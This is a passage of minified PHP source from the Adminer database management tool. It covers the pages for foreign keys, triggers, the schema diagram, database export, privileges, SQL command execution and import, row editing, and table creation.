cellspacing='0'>\n","<thead><tr><th>".lang(130)."<td>".lang(131)."<td>".lang(99)."<td>".lang(98)."<td>&nbsp;</thead>\n";foreach($dd
as$D=>$r){echo"<tr title='".h($D)."'>","<th><i>".implode("</i>, <i>",array_map('h',$r["source"]))."</i>","<td><a href='".h($r["db"]!=""?preg_replace('~db=[^&]*~',"db=".urlencode($r["db"]),ME):($r["ns"]!=""?preg_replace('~ns=[^&]*~',"ns=".urlencode($r["ns"]),ME):ME))."table=".urlencode($r["table"])."'>".($r["db"]!=""?"<b>".h($r["db"])."</b>.":"").($r["ns"]!=""?"<b>".h($r["ns"])."</b>.":"").h($r["table"])."</a>","(<i>".implode("</i>, <i>",array_map('h',$r["target"]))."</i>)","<td>".nbsp($r["on_delete"])."\n","<td>".nbsp($r["on_update"])."\n",'<td><a href="'.h(ME.'foreign='.urlencode($a).'&name='.urlencode($D)).'">'.lang(132).'</a>';}echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'foreign='.urlencode($a).'">'.lang(133)."</a>\n";}}if(support(is_view($S)?"view_trigger":"trigger")){echo"<h3 id='triggers'>".lang(134)."</h3>\n";$si=triggers($a);if($si){echo"<table cellspacing='0'>\n";foreach($si
as$z=>$X)echo"<tr valign='top'><td>".h($X[0])."<td>".h($X[1])."<th>".h($z)."<td><a href='".h(ME.'trigger='.urlencode($a).'&name='.urlencode($z))."'>".lang(132)."</a>\n";echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'trigger='.urlencode($a).'">'.lang(135)."</a>\n";}}elseif(isset($_GET["schema"])){page_header(lang(68),"",array(),h(DB.($_GET["ns"]?".$_GET[ns]":"")));$Jh=array();$Kh=array();$ea=($_GET["schema"]?$_GET["schema"]:$_COOKIE["adminer_schema-".str_replace(".","_",DB)]);preg_match_all('~([^:]+):([-0-9.]+)x([-0-9.]+)(_|$)~',$ea,$ze,PREG_SET_ORDER);foreach($ze
as$t=>$C){$Jh[$C[1]]=array($C[2],$C[3]);$Kh[]="\n\t'".js_escape($C[1])."': [ $C[2], $C[3] ]";}$hi=0;$Ra=-1;$Tg=array();$zg=array();$ne=array();foreach(table_status('',true)as$R=>$S){if(is_view($S))continue;$Xf=0;$Tg[$R]["fields"]=array();foreach(fields($R)as$D=>$p){$Xf+=1.25;$p["pos"]=$Xf;$Tg[$R]["fields"][$D]=$p;}$Tg[$R]["pos"]=($Jh[$R]?$Jh[$R]:array($hi,0));foreach($b->foreignKeys($R)as$X){if(!$X["db"]){$le=$Ra;if($Jh[$R][1]||$Jh[$X["table"]][1])$le=min(floatval($Jh[$R][1]),floatval($Jh[$X["table"]][1]))-1;else$Ra-=.1;while($ne[(string)$le])$le-=.0001;$Tg[$R]["references"][$X["table"]][(string)$le]=array($X["source"],$X["target"]);$zg[$X["table"]][$R][(string)$le]=$X["target"];$ne[(string)$le]=true;}}$hi=max($hi,$Tg[$R]["pos"][0]+2.5+$Xf);}echo'<div id="schema" style="height: ',$hi,'em;">
<script',nonce(),'>
qs(\'#schema\').onselectstart = function () { return false; };
var tablePos = {',implode(",",$Kh)."\n",'};
var em = qs(\'#schema\').offsetHeight / ',$hi,';
document.onmousemove = schemaMousemove;
document.onmouseup = partialArg(schemaMouseup, \'',js_escape(DB),'\');
</script>
';foreach($Tg
as$D=>$R){echo"<div class='table' style='top: ".$R["pos"][0]."em; left: ".$R["pos"][1]."em;'>",'<a href="'.h(ME).'table='.urlencode($D).'"><b>'.h($D)."</b></a>",script("qsl('div').onmousedown = schemaMousedown;");foreach($R["fields"]as$p){$X='<span'.type_class($p["type"]).' title="'.h($p["full_type"].($p["null"]?" NULL":'')).'">'.h($p["field"]).'</span>';echo"<br>".($p["primary"]?"<i>$X</i>":$X);}foreach((array)$R["references"]as$Qh=>$_g){foreach($_g
as$le=>$wg){$me=$le-$Jh[$D][1];$t=0;foreach($wg[0]as$nh)echo"\n<div class='references' title='".h($Qh)."' id='refs$le-".($t++)."' style='left: $me"."em; top: ".$R["fields"][$nh]["pos"]."em; padding-top: .5em;'><div style='border-top: 1px solid Gray; width: ".(-$me)."em;'></div></div>";}}foreach((array)$zg[$D]as$Qh=>$_g){foreach($_g
as$le=>$e){$me=$le-$Jh[$D][1];$t=0;foreach($e
as$Ph)echo"\n<div class='references' title='".h($Qh)."' id='refd$le-".($t++)."' style='left: $me"."em; top: ".$R["fields"][$Ph]["pos"]."em; height: 1.25em; background: url(".h(preg_replace("~\\?.*~","",ME)."?file=arrow.gif) no-repeat right center;&version=4.6.2")."'><div style='height: .5em; border-bottom: 1px solid Gray; width: ".(-$me)."em;'></div></div>";}}echo"\n</div>\n";}foreach($Tg
as$D=>$R){foreach((array)$R["references"]as$Qh=>$_g){foreach($_g
as$le=>$wg){$Ne=$hi;$Ce=-10;foreach($wg[0]as$z=>$nh){$Yf=$R["pos"][0]+$R["fields"][$nh]["pos"];$Zf=$Tg[$Qh]["pos"][0]+$Tg[$Qh]["fields"][$wg[1][$z]]["pos"];$Ne=min($Ne,$Yf,$Zf);$Ce=max($Ce,$Yf,$Zf);}echo"<div class='references' id='refl$le' style='left: $le"."em; top: $Ne"."em; padding: .5em 0;'><div style='border-right: 1px solid Gray; margin-top: 1px; height: ".($Ce-$Ne)."em;'></div></div>\n";}}}echo'</div>
<p class="links"><a href="',h(ME."schema=".urlencode($ea)),'" id="schema-link">',lang(136),'</a>
';}elseif(isset($_GET["dump"])){$a=$_GET["dump"];if($_POST&&!$o){$Db="";foreach(array("output","format","db_style","routines","events","table_style","auto_increment","triggers","data_style")as$z)$Db.="&$z=".urlencode($_POST[$z]);cookie("adminer_export",substr($Db,1));$T=array_flip((array)$_POST["tables"])+array_flip((array)$_POST["data"]);$Ic=dump_headers((count($T)==1?key($T):DB),(DB==""||count($T)>1));$Ud=preg_match('~sql~',$_POST["format"]);if($Ud){echo"-- Adminer $ia ".$ec[DRIVER]." dump\n\n";if($y=="sql"){echo"SET NAMES utf8;
SET time_zone = '+00:00';
".($_POST["data_style"]?"SET foreign_key_checks = 0;
SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
":"")."
";$g->query("SET time_zone = '+00:00';");}}$Ah=$_POST["db_style"];$l=array(DB);if(DB==""){$l=$_POST["databases"];if(is_string($l))$l=explode("\n",rtrim(str_replace("\r","",$l),"\n"));}foreach((array)$l
as$m){$b->dumpDatabase($m);if($g->select_db($m)){if($Ud&&preg_match('~CREATE~',$Ah)&&($i=$g->result("SHOW CREATE DATABASE ".idf_escape($m),1))){set_utf8mb4($i);if($Ah=="DROP+CREATE")echo"DROP DATABASE IF EXISTS ".idf_escape($m).";\n";echo"$i;\n";}if($Ud){if($Ah)echo
use_sql($m).";\n\n";$Cf="";if($_POST["routines"]){foreach(array("FUNCTION","PROCEDURE")as$Ng){foreach(get_rows("SHOW $Ng STATUS WHERE Db = ".q($m),null,"-- ")as$K){$i=remove_definer($g->result("SHOW CREATE $Ng ".idf_escape($K["Name"]),2));set_utf8mb4($i);$Cf.=($Ah!='DROP+CREATE'?"DROP $Ng IF EXISTS ".idf_escape($K["Name"]).";;\n":"")."$i;;\n\n";}}}if($_POST["events"]){foreach(get_rows("SHOW EVENTS",null,"-- ")as$K){$i=remove_definer($g->result("SHOW CREATE EVENT ".idf_escape($K["Name"]),3));set_utf8mb4($i);$Cf.=($Ah!='DROP+CREATE'?"DROP EVENT IF EXISTS ".idf_escape($K["Name"]).";;\n":"")."$i;;\n\n";}}if($Cf)echo"DELIMITER ;;\n\n$Cf"."DELIMITER ;\n\n";}if($_POST["table_style"]||$_POST["data_style"]){$Si=array();foreach(table_status('',true)as$D=>$S){$R=(DB==""||in_array($D,(array)$_POST["tables"]));$Lb=(DB==""||in_array($D,(array)$_POST["data"]));if($R||$Lb){if($Ic=="tar"){$di=new
TmpFile;ob_start(array($di,'write'),1e5);}$b->dumpTable($D,($R?$_POST["table_style"]:""),(is_view($S)?2:0));if(is_view($S))$Si[]=$D;elseif($Lb){$q=fields($D);$b->dumpData($D,$_POST["data_style"],"SELECT *".convert_fields($q,$q)." FROM ".table($D));}if($Ud&&$_POST["triggers"]&&$R&&($si=trigger_sql($D)))echo"\nDELIMITER ;;\n$si\nDELIMITER ;\n";if($Ic=="tar"){ob_end_flush();tar_file((DB!=""?"":"$m/")."$D.csv",$di);}elseif($Ud)echo"\n";}}foreach($Si
as$Ri)$b->dumpTable($Ri,$_POST["table_style"],1);if($Ic=="tar")echo
pack("x512");}}}if($Ud)echo"-- ".$g->result("SELECT NOW()")."\n";exit;}page_header(lang(71),$o,($_GET["export"]!=""?array("table"=>$_GET["export"]):array()),h(DB));echo'
<form action="" method="post">
<table cellspacing="0">
';$Pb=array('','USE','DROP+CREATE','CREATE');$Lh=array('','DROP+CREATE','CREATE');$Mb=array('','TRUNCATE+INSERT','INSERT');if($y=="sql")$Mb[]='INSERT+UPDATE';parse_str($_COOKIE["adminer_export"],$K);if(!$K)$K=array("output"=>"text","format"=>"sql","db_style"=>(DB!=""?"":"CREATE"),"table_style"=>"DROP+CREATE","data_style"=>"INSERT");if(!isset($K["events"])){$K["routines"]=$K["events"]=($_GET["dump"]=="");$K["triggers"]=$K["table_style"];}echo"<tr><th>".lang(137)."<td>".html_select("output",$b->dumpOutput(),$K["output"],0)."\n";echo"<tr><th>".lang(138)."<td>".html_select("format",$b->dumpFormat(),$K["format"],0)."\n";echo($y=="sqlite"?"":"<tr><th>".lang(35)."<td>".html_select('db_style',$Pb,$K["db_style"]).(support("routine")?checkbox("routines",1,$K["routines"],lang(139)):"").(support("event")?checkbox("events",1,$K["events"],lang(140)):"")),"<tr><th>".lang(119)."<td>".html_select('table_style',$Lh,$K["table_style"]).checkbox("auto_increment",1,$K["auto_increment"],lang(49)).(support("trigger")?checkbox("triggers",1,$K["triggers"],lang(134)):""),"<tr><th>".lang(141)."<td>".html_select('data_style',$Mb,$K["data_style"]),'</table>
<p><input type="submit" value="',lang(71),'">
<input type="hidden" name="token" value="',$gi,'">

<table cellspacing="0">
',script("qsl('table').onclick = dumpClick;");$cg=array();if(DB!=""){$fb=($a!=""?"":" checked");echo"<thead><tr>","<th style='text-align: left;'><label class='block'><input type='checkbox' id='check-tables'$fb>".lang(119)."</label>".script("qs('#check-tables').onclick = partial(formCheck, /^tables\\[/);",""),"<th style='text-align: right;'><label class='block'>".lang(141)."<input type='checkbox' id='check-data'$fb></label>".script("qs('#check-data').onclick = partial(formCheck, /^data\\[/);",""),"</thead>\n";$Si="";$Mh=tables_list();foreach($Mh
as$D=>$U){$bg=preg_replace('~_.*~','',$D);$fb=($a==""||$a==(substr($a,-1)=="%"?"$bg%":$D));$fg="<tr><td>".checkbox("tables[]",$D,$fb,$D,"","block");if($U!==null&&!preg_match('~table~i',$U))$Si.="$fg\n";else
echo"$fg<td align='right'><label class='block'><span id='Rows-".h($D)."'></span>".checkbox("data[]",$D,$fb)."</label>\n";$cg[$bg]++;}echo$Si;if($Mh)echo
script("ajaxSetHtml('".js_escape(ME)."script=db');");}else{echo"<thead><tr><th style='text-align: left;'>","<label class='block'><input type='checkbox' id='check-databases'".($a==""?" checked":"").">".lang(35)."</label>",script("qs('#check-databases').onclick = partial(formCheck, /^databases\\[/);",""),"</thead>\n";$l=$b->databases();if($l){foreach($l
as$m){if(!information_schema($m)){$bg=preg_replace('~_.*~','',$m);echo"<tr><td>".checkbox("databases[]",$m,$a==""||$a=="$bg%",$m,"","block")."\n";$cg[$bg]++;}}}else
echo"<tr><td><textarea name='databases' rows='10' cols='20'></textarea>";}echo'</table>
</form>
';$Wc=true;foreach($cg
as$z=>$X){if($z!=""&&$X>1){echo($Wc?"<p>":" ")."<a href='".h(ME)."dump=".urlencode("$z%")."'>".h($z)."</a>";$Wc=false;}}}elseif(isset($_GET["privileges"])){page_header(lang(69));echo'<p class="links"><a href="'.h(ME).'user=">'.lang(142)."</a>";$I=$g->query("SELECT User, Host FROM mysql.".(DB==""?"user":"db WHERE ".q(DB)." LIKE Db")." ORDER BY Host, User");$kd=$I;if(!$I)$I=$g->query("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host");echo"<form action=''><p>\n";hidden_fields_get();echo"<input type='hidden' name='db' value='".h(DB)."'>\n",($kd?"":"<input type='hidden' name='grant' value=''>\n"),"<table cellspacing='0'>\n","<thead><tr><th>".lang(33)."<th>".lang(32)."<th>&nbsp;</thead>\n";while($K=$I->fetch_assoc())echo'<tr'.odd().'><td>'.h($K["User"])."<td>".h($K["Host"]).'<td><a href="'.h(ME.'user='.urlencode($K["User"]).'&host='.urlencode($K["Host"])).'">'.lang(10)."</a>\n";if(!$kd||DB!="")echo"<tr".odd()."><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value='".lang(10)."'>\n";echo"</table>\n","</form>\n";}elseif(isset($_GET["sql"])){if(!$o&&$_POST["export"]){dump_headers("sql");$b->dumpTable("","");$b->dumpData("","table",$_POST["query"]);exit;}restart_session();$wd=&get_session("queries");$vd=&$wd[DB];if(!$o&&$_POST["clear"]){$vd=array();redirect(remove_from_uri("history"));}page_header((isset($_GET["import"])?lang(70):lang(62)),$o);if(!$o&&$_POST){$hd=false;if(!isset($_GET["import"]))$H=$_POST["query"];elseif($_POST["webfile"]){$rh=$b->importServerPath();$hd=@fopen((file_exists($rh)?$rh:"compress.zlib://$rh.gz"),"rb");$H=($hd?fread($hd,1e6):false);}else$H=get_file("sql_file",true);if(is_string($H)){if(function_exists('memory_get_usage'))@ini_set("memory_limit",max(ini_bytes("memory_limit"),2*strlen($H)+memory_get_usage()+8e6));if($H!=""&&strlen($H)<1e6){$ng=$H.(preg_match("~;[ \t\r\n]*\$~",$H)?"":";");if(!$vd||reset(end($vd))!=$ng){restart_session();$vd[]=array($ng,time());set_session("queries",$wd);stop_session();}}$oh="(?:\\s|/\\*[\s\S]*?\\*/|(?:#|-- )[^\n]*\n?|--\r?\n)";$Vb=";";$E=0;$tc=true;$h=connect();if(is_object($h)&&DB!="")$h->select_db(DB);$ub=0;$yc=array();$Jf='[\'"'.($y=="sql"?'`#':($y=="sqlite"?'`[':($y=="mssql"?'[':''))).']|/\\*|-- |$'.($y=="pgsql"?'|\\$[^$]*\\$':'');$ii=microtime(true);parse_str($_COOKIE["adminer_export"],$ya);$kc=$b->dumpFormat();unset($kc["sql"]);while($H!=""){if(!$E&&preg_match("~^$oh*+DELIMITER\\s+(\\S+)~i",$H,$C)){$Vb=$C[1];$H=substr($H,strlen($C[0]));}else{preg_match('('.preg_quote($Vb)."\\s*|$Jf)",$H,$C,PREG_OFFSET_CAPTURE,$E);list($fd,$Xf)=$C[0];if(!$fd&&$hd&&!feof($hd))$H.=fread($hd,1e5);else{if(!$fd&&rtrim($H)=="")break;$E=$Xf+strlen($fd);if($fd&&rtrim($fd)!=$Vb){while(preg_match('('.($fd=='/*'?'\\*/':($fd=='['?']':(preg_match('~^-- |^#~',$fd)?"\n":preg_quote($fd)."|\\\\."))).'|$)s',$H,$C,PREG_OFFSET_CAPTURE,$E)){$Rg=$C[0][0];if(!$Rg&&$hd&&!feof($hd))$H.=fread($hd,1e5);else{$E=$C[0][1]+strlen($Rg);if($Rg[0]!="\\")break;}}}else{$tc=false;$ng=substr($H,0,$Xf);$ub++;$fg="<pre id='sql-$ub'><code class='jush-$y'>".$b->sqlCommandQuery($ng)."</code></pre>\n";if($y=="sqlite"&&preg_match("~^$oh*+ATTACH\\b~i",$ng,$C)){echo$fg,"<p class='error'>".lang(143)."\n";$yc[]=" <a href='#sql-$ub'>$ub</a>";if($_POST["error_stops"])break;}else{if(!$_POST["only_errors"]){echo$fg;ob_flush();flush();}$vh=microtime(true);if($g->multi_query($ng)&&is_object($h)&&preg_match("~^$oh*+USE\\b~i",$ng))$h->query($ng);do{$I=$g->store_result();if($g->error){echo($_POST["only_errors"]?$fg:""),"<p class='error'>".lang(144).($g->errno?" ($g->errno)":"").": ".error()."\n";$yc[]=" <a href='#sql-$ub'>$ub</a>";if($_POST["error_stops"])break
2;}else{$Wh=" <span class='time'>(".format_time($vh).")</span>".(strlen($ng)<1000?" <a href='".h(ME)."sql=".urlencode(trim($ng))."'>".lang(10)."</a>":"");$_a=$g->affected_rows;$Vi=($_POST["only_errors"]?"":$n->warnings());$Wi="warnings-$ub";if($Vi)$Wh.=", <a href='#$Wi'>".lang(44)."</a>".script("qsl('a').onclick = partial(toggle, '$Wi');","");$Fc=null;$Gc="explain-$ub";if(is_object($I)){$_=$_POST["limit"];$wf=select($I,$h,array(),$_);if(!$_POST["only_errors"]){echo"<form action='' method='post'>\n";$Ze=$I->num_rows;echo"<p>".($Ze?($_&&$Ze>$_?lang(145,$_):"").lang(146,$Ze):""),$Wh;if($h&&preg_match("~^($oh|\\()*+SELECT\\b~i",$ng)&&($Fc=explain($h,$ng)))echo", <a href='#$Gc'>Explain</a>".script("qsl('a').onclick = partial(toggle, '$Gc');","");$u="export-$ub";echo", <a href='#$u'>".lang(71)."</a>".script("qsl('a').onclick = partial(toggle, '$u');","")."<span id='$u' class='hidden'>: ".html_select("output",$b->dumpOutput(),$ya["output"])." ".html_select("format",$kc,$ya["format"])."<input type='hidden' name='query' value='".h($ng)."'>"." <input type='submit' name='export' value='".lang(71)."'><input type='hidden' name='token' value='$gi'></span>\n"."</form>\n";}}else{if(preg_match("~^$oh*+(CREATE|DROP|ALTER)$oh++(DATABASE|SCHEMA)\\b~i",$ng)){restart_session();set_session("dbs",null);stop_session();}if(!$_POST["only_errors"])echo"<p class='message' title='".h($g->info)."'>".lang(147,$_a)."$Wh\n";}echo($Vi?"<div id='$Wi' class='hidden'>\n$Vi</div>\n":"");if($Fc){echo"<div id='$Gc' class='hidden'>\n";select($Fc,$h,$wf);echo"</div>\n";}}$vh=microtime(true);}while($g->next_result());}$H=substr($H,$E);$E=0;}}}}if($tc)echo"<p class='message'>".lang(148)."\n";elseif($_POST["only_errors"]){echo"<p class='message'>".lang(149,$ub-count($yc))," <span class='time'>(".format_time($ii).")</span>\n";}elseif($yc&&$ub>1)echo"<p class='error'>".lang(144).": ".implode("",$yc)."\n";}else
echo"<p class='error'>".upload_error($H)."\n";}echo'
<form action="" method="post" enctype="multipart/form-data" id="form">
';$Cc="<input type='submit' value='".lang(150)."' title='Ctrl+Enter'>";if(!isset($_GET["import"])){$ng=$_GET["sql"];if($_POST)$ng=$_POST["query"];elseif($_GET["history"]=="all")$ng=$vd;elseif($_GET["history"]!="")$ng=$vd[$_GET["history"]][0];echo"<p>";textarea("query",$ng,20);echo($_POST?"":script("qs('textarea').focus();")),"<p>$Cc\n",lang(151).": <input type='number' name='limit' class='size' value='".h($_POST?$_POST["limit"]:$_GET["limit"])."'>\n";}else{echo"<fieldset><legend>".lang(152)."</legend><div>",(ini_bool("file_uploads")?"SQL (&lt; ".ini_get("upload_max_filesize")."B): <input type='file' name='sql_file[]' multiple>\n$Cc":lang(153)),"</div></fieldset>\n","<fieldset><legend>".lang(154)."</legend><div>",lang(155,"<code>".h($b->importServerPath()).(extension_loaded("zlib")?"[.gz]":"")."</code>"),' <input type="submit" name="webfile" value="'.lang(156).'">',"</div></fieldset>\n","<p>";}echo
checkbox("error_stops",1,($_POST?$_POST["error_stops"]:isset($_GET["import"])),lang(157))."\n",checkbox("only_errors",1,($_POST?$_POST["only_errors"]:isset($_GET["import"])),lang(158))."\n","<input type='hidden' name='token' value='$gi'>\n";if(!isset($_GET["import"])&&$vd){print_fieldset("history",lang(159),$_GET["history"]!="");for($X=end($vd);$X;$X=prev($vd)){$z=key($vd);list($ng,$Wh,$oc)=$X;echo'<a href="'.h(ME."sql=&history=$z").'">'.lang(10)."</a>"." <span class='time' title='".@date('Y-m-d',$Wh)."'>".@date("H:i:s",$Wh)."</span>"." <code class='jush-$y'>".shorten_utf8(ltrim(str_replace("\n"," ",str_replace("\r","",preg_replace('~^(#|-- ).*~m','',$ng)))),80,"</code>").($oc?" <span class='time'>($oc)</span>":"")."<br>\n";}echo"<input type='submit' name='clear' value='".lang(160)."'>\n","<a href='".h(ME."sql=&history=all")."'>".lang(161)."</a>\n","</div></fieldset>\n";}echo'</form>
';}elseif(isset($_GET["edit"])){$a=$_GET["edit"];$q=fields($a);$Z=(isset($_GET["select"])?($_POST["check"]&&count($_POST["check"])==1?where_check($_POST["check"][0],$q):""):where($_GET,$q));$Ci=(isset($_GET["select"])?$_POST["edit"]:$Z);foreach($q
as$D=>$p){if(!isset($p["privileges"][$Ci?"update":"insert"])||$b->fieldName($p)=="")unset($q[$D]);}if($_POST&&!$o&&!isset($_GET["select"])){$B=$_POST["referer"];if($_POST["insert"])$B=($Ci?null:$_SERVER["REQUEST_URI"]);elseif(!preg_match('~^.+&select=.+$~',$B))$B=ME."select=".urlencode($a);$x=indexes($a);$yi=unique_array($_GET["where"],$x);$qg="\nWHERE $Z";if(isset($_POST["delete"]))queries_redirect($B,lang(162),$n->delete($a,$qg,!$yi));else{$P=array();foreach($q
as$D=>$p){$X=process_input($p);if($X!==false&&$X!==null)$P[idf_escape($D)]=$X;}if($Ci){if(!$P)redirect($B);queries_redirect($B,lang(163),$n->update($a,$P,$qg,!$yi));if(is_ajax()){page_headers();page_messages($o);exit;}}else{$I=$n->insert($a,$P);$ke=($I?last_id():0);queries_redirect($B,lang(164,($ke?" $ke":"")),$I);}}}$K=null;if($_POST["save"])$K=(array)$_POST["fields"];elseif($Z){$M=array();foreach($q
as$D=>$p){if(isset($p["privileges"]["select"])){$Ha=convert_field($p);if($_POST["clone"]&&$p["auto_increment"])$Ha="''";if($y=="sql"&&preg_match("~enum|set~",$p["type"]))$Ha="1*".idf_escape($D);$M[]=($Ha?"$Ha AS ":"").idf_escape($D);}}$K=array();if(!support("table"))$M=array("*");if($M){$I=$n->select($a,$M,array($Z),$M,array(),(isset($_GET["select"])?2:1));if(!$I)$o=error();else{$K=$I->fetch_assoc();if(!$K)$K=false;}if(isset($_GET["select"])&&(!$K||$I->fetch_assoc()))$K=null;}}if(!support("table")&&!$q){if(!$Z){$I=$n->select($a,array("*"),$Z,array("*"));$K=($I?$I->fetch_assoc():false);if(!$K)$K=array($n->primary=>"");}if($K){foreach($K
as$z=>$X){if(!$Z)$K[$z]=null;$q[$z]=array("field"=>$z,"null"=>($z!=$n->primary),"auto_increment"=>($z==$n->primary));}}}edit_form($a,$q,$K,$Ci);}elseif(isset($_GET["create"])){$a=$_GET["create"];$Lf=array();foreach(array('HASH','LINEAR HASH','KEY','LINEAR KEY','RANGE','LIST')as$z)$Lf[$z]=$z;$yg=referencable_primary($a);$dd=array();foreach($yg
as$Hh=>$p)$dd[str_replace("`","``",$Hh)."`".str_replace("`","``",$p["field"])]=$Hh;$zf=array();$S=array();if($a!=""){$zf=fields($a);$S=table_status($a);if(!$S)$o=lang(9);}$K=$_POST;$K["fields"]=(array)$K["fields"];if($K["auto_increment_col"])$K["fields"][$K["auto_increment_col"]]["auto_increment"]=true;if($_POST&&!process_fields($K["fields"])&&!$o){if($_POST["drop"])queries_redirect(substr(ME,0,-1),lang(165),drop_tables(array($a)));else{$q=array();$Ea=array();$Hi=false;$bd=array();$yf=reset($zf);$Ba=" FIRST";foreach($K["fields"]as$z=>$p){$r=$dd[$p["type"]];$ti=($r!==null?$yg[$r]:$p);if($p["field"]!=""){if(!$p["has_default"])$p["default"]=null;if($z==$K["auto_increment_col"])$p["auto_increment"]=true;$kg=process_field($p,$ti);$Ea[]=array($p["orig"],$kg,$Ba);if($kg!=process_field($yf,$yf)){$q[]=array($p["orig"],$kg,$Ba);if($p["orig"]!=""||$Ba)$Hi=true;}if($r!==null)$bd[idf_escape($p["field"])]=($a!=""&&$y!="sqlite"?"ADD":" ").format_foreign_key(array('table'=>$dd[$p["type"]],'source'=>array($p["field"]),'target'=>array($ti["field"]),'on_delete'=>$p["on_delete"],));$Ba=" AFTER ".idf_escape($p["field"]);}elseif($p["orig"]!=""){$Hi=true;$q[]=array($p["orig"]);}if($p["orig"]!=""){$yf=next($zf);if(!$yf)$Ba="";}}$Nf="";if($Lf[$K["partition_by"]]){$Of=array();if($K["partition_by"]=='RANGE'||$K["partition_by"]=='LIST'){foreach(array_filter($K["partition_names"])as$z=>$X){$Y=$K["partition_values"][$z];$Of[]="\n  PARTITION ".idf_escape($X)." VALUES ".($K["partition_by"]=='RANGE'?"LESS THAN":"IN").($Y!=""?" ($Y)":" MAXVALUE");}}$Nf.="\nPARTITION BY $K[partition_by]($K[partition])".($Of?" (".implode(",",$Of)."\n)":($K["partitions"]?" PARTITIONS ".(+$K["partitions"]):""));}elseif(support("partitioning")&&preg_match("~partitioned~",$S["Create_options"]))$Nf.="\nREMOVE PARTITIONING";$Ge=lang(166);if($a==""){cookie("adminer_engine",$K["Engine"]);$Ge=lang(167);}$D=trim($K["name"]);queries_redirect(ME.(support("table")?"table=":"select=").urlencode($D),$Ge,alter_table($a,$D,($y=="sqlite"&&($Hi||$bd)?$Ea:$q),$bd,($K["Comment"]!=$S["Comment"]?$K["Comment"]:null),($K["Engine"]&&$K["Engine"]!=$S["Engine"]?$K["Engine"]:""),($K["Collation"]&&$K["Collation"]!=$S["Collation"]?$K["Collation"]:""),($K["Auto_increment"]!=""?number($K["Auto_increment"]):""),$Nf));}}page_header(($a!=""?lang(42):lang(72)),$o,array("table"=>$a),h($a));if(!$_POST){$K=array("Engine"=>$_COOKIE["adminer_engine"],"fields"=>array(array("field"=>"","type"=>(isset($vi["int"])?"int":(isset($vi["integer"])?"integer":"")),"on_update"=>"")),"partition_names"=>array(""),);if($a!=""){$K=$S;$K["name"]=$a;$K["fields"]=array();if(!$_GET["auto_increment"])$K["Auto_increment"]="";foreach($zf
as$p){$p["has_default"]=isset($p["default"]);$K["fields"][]=$p;}if(support("partitioning")){$id="FROM information_schema.PARTITIONS WHERE TABLE_SCHEMA = ".q(DB)." AND TABLE_NAME = ".q($a);$I=$g->query("SELECT PARTITION_METHOD, PARTITION_ORDINAL_POSITION, PARTITION_EXPRESSION $id ORDER BY PARTITION_ORDINAL_POSITION DESC LIMIT 1");list($K["partition_by"],$K["partitions"],$K["partition"])=$I->fetch_row();$Of=get_key_vals("SELECT PARTITION_NAME, PARTITION_DESCRIPTION $id AND PARTITION_NAME != '' ORDER BY PARTITION_ORDINAL_POSITION");$Of[""]="";$K["partition_names"]=array_keys($Of);$K["partition_values"]=array_values($Of);}}}$qb=collations();$vc=engines();foreach($vc
as$uc){if(!strcasecmp($uc,$K["Engine"])){$K["Engine"]=$uc;break;}}echo'
<form action="" method="post" id="form">
<p>
';if(support("columns")||$a==""){echo
lang(168),': <input name="name" maxlength="64" value="',h($K["name"]),'" autocapitalize="off">
';if($a==""&&!$_POST)echo
script("focus(qs('#form')['name']);");echo($vc?"<select name='Engine'>".optionlist(array(""=>"(".lang(169).")")+$vc,$K["Engine"])."</select>".on_help("getTarget(event).value",1).script("qsl('select').onchange = helpClose;"):""),' ',($qb&&!preg_match("~sqlite|mssql~",$y)?html_select("Collation",array(""=>"(".lang(97).")")+$qb,$K["Collation"]):""),' <input type="submit" value="',lang(14),'">
';}echo'
';if(support("columns")){echo'<table cellspacing="0" id="edit-fields" class="nowrap">
';$wb=($_POST?$_POST["comments"]:$K["Comment"]!="");if(!$_POST&&!$wb){foreach($K["fields"]as$p){if($p["comment"]!=""){$wb=true;break;}}}edit_fields($K["fields"],$qb,"TABLE",$dd,$wb);echo'</table>
<p>
',lang(49),': <input type="number" name="Auto_increment" size="6" value="',h($K["Auto_increment"]),'">
',checkbox("defaults",1,!$_POST||$_POST["defaults"],lang(170),"columnShow(this.checked, 5)","jsonly"),($_POST?"":script("editingHideDefaults();")),(support("comment")?"<label><input type='checkbox' name='comments' value='1' class='jsonly'".($wb?" checked":"").">".lang(48)."</label>".script("qsl('input').onclick = partial(editingCommentsClick, true);").' <input name="Comment" value="'.h($K["Comment"]).'" maxlength="'.(min_version(5.5)?2048:60).'"'.($wb?'':' class="hidden"').'>':''),'<p>
<input type="submit" value="',lang(14),'">
';}echo'
';if($a!=""){echo'<input type="submit" name="drop" value="',lang(123),'">',confirm(lang(171,$a));}if(support("partitioning")){$Mf=preg_match('~RANGE|LIST~',$K["partition_by"]);print_fieldset("partition",lang(172),$K["partition_by"]);echo'<p>
',"<select name='partition_by'>".optionlist(array(""=>"")+$Lf,$K["partition_by"])."</select>".on_help("getTarget(event).value.replace(/./, 'PARTITION BY \$&')",1).script("qsl('select').onchange = partitionByChange;"),'(<input name="partition" value="',h($K["partition"]),'">)
',lang(173),': <input type="number" name="partitions" class="size',($Mf||!$K["partition_by"]?" hidden":""),'" value="',h($K["partitions"]),'">
<table cellspacing="0" id="partition-table"',($Mf?"":" class='hidden'"),'>
<thead><tr><th>',lang(174),'<th>',lang(175),'</thead>
';foreach($K["partition_names"]as$z=>$X){echo'<tr>','<td><input name="partition_names[]" value="'.h($X).'" autocapitalize="off">',($z==count($K["partition_names"])-1?script("qsl('input').oninput = partitionNameChange;"):''),'<td><input name="partition_values[]" value="'.h($K["partition_values"][$z]).'">';}echo'</table>
</div></fieldset>
';}echo'<input type="hidden" name="token" value="',$gi,'">
</form>
